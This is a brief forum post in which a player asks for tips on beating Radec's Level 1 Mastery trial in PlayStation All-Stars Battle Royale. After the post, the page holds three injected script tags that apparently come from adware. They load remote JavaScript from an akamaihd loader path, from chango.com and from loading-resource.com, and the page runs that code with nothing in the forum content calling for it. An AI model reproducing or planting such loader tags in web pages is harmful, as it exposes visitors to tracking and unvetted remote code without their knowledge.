PlayStation All-Stars Battle Royale

[FabledOblivion]

I have completed all of Radec's trials on All-Stars difficulty except for Level 1 Mastery. I cannot seem to get them close enough together to get a multi-kill more than once. Does anyone have any tips?

<script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script> <script id="__changoScript" type="text/javascript">// var __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = document.createElement('script'); c.type = 'text/javascript'; c.async = true;c.src=( 'https:' == document.location.protocol ? 'https://z': 'http://p') + '.chango.com/static/c.js'; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(c, s);})(); // </script> <script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=__magnetic.init"></script>